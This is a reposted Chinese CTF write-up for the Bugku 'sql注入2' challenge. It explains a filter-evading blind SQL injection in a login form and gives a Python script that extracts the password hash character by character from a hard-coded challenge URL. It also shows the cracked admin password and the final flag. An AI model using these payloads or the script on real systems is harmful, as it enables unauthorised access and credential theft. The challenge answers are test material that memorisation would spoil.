Bugku sql注入2 writeup

转载

xuchen16 于 2018-10-08 14:40:48 发布
分类专栏： ctf 文章标签： Bugku sql注入 writeup bugku sql注入2 wp

转载自：http://hu3sky.ooo/2018/08/18/bugku%20sql2/

网上没有一个正常做出来了的
看了叶师傅的wp，跟着学一遍
username的注入，盲注
根据username的返回不同
fuzz，几乎都过滤完了。
没过滤的 `!,!=,=,+,-,^,%`
数字型时，可以用^进行闭合

and这些也被过滤。

需要用到-1-

```
'admin'-1-'' = -1
'admin'-0-'' = 0
```

我们发现-0的时候，为true，-1的时候为false
那么这是为什么呢？
我们猜想后台sql语句构造为

```
$sql = select * from users where username=$username;
```

在字符串username的值和数字0比较的时候，字符串变为了0
故此0=0

构造语句

ascii(substr((select database()),1,1))>1
很多过滤了，这个语句没法使用
用到一个倒着截取
假设：
passwd=abc123
那么我们用以下方式

```
1 2 3
```

```
mid((passwd)from(-1)):3 mid((passwd)from(-2)):23 mid((passwd)from(-3):123
```

倒着看的第一位都是3，显然不行，无法截取出来，于是想到反转
先反转
`REVERSE(MID((passwd)from(-%d))`
再去最后一位
`mid(REVERSE(MID((passwd)from(%-d)))from(-1))`
在比较ASCII
`ascii(mid(REVERSE(MID((passwd)from(%-d)))from(-1)))>1`

脚本

```
import requests as rq flag="" url='http://120.24.86.145:8007/web2/login.php' cookie = {
'PHPSESSID':'s1hcgs1gbudti520fvski6ih1u3kn2ko' } for i in range(1,33): for j in
'0123456789abcdef': username="admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-
1)))="+str(ord(j))+")-'" data={'uname':username,'passwd':'hu3sky'}
r=rq.post(url=url,data=data,cookies=cookie) if "username error!!@_@" in r.text: flag=flag+j
print(flag) break
```


得到密码的md5值005b81fd960f61505237dbb7a3202910解码得到admin123

登录实时监控执行ls命令


实时监控
ls ...
执行
flag{sql_iNJEct_comMon3600!}
https://blog.csdn.net/xuchen16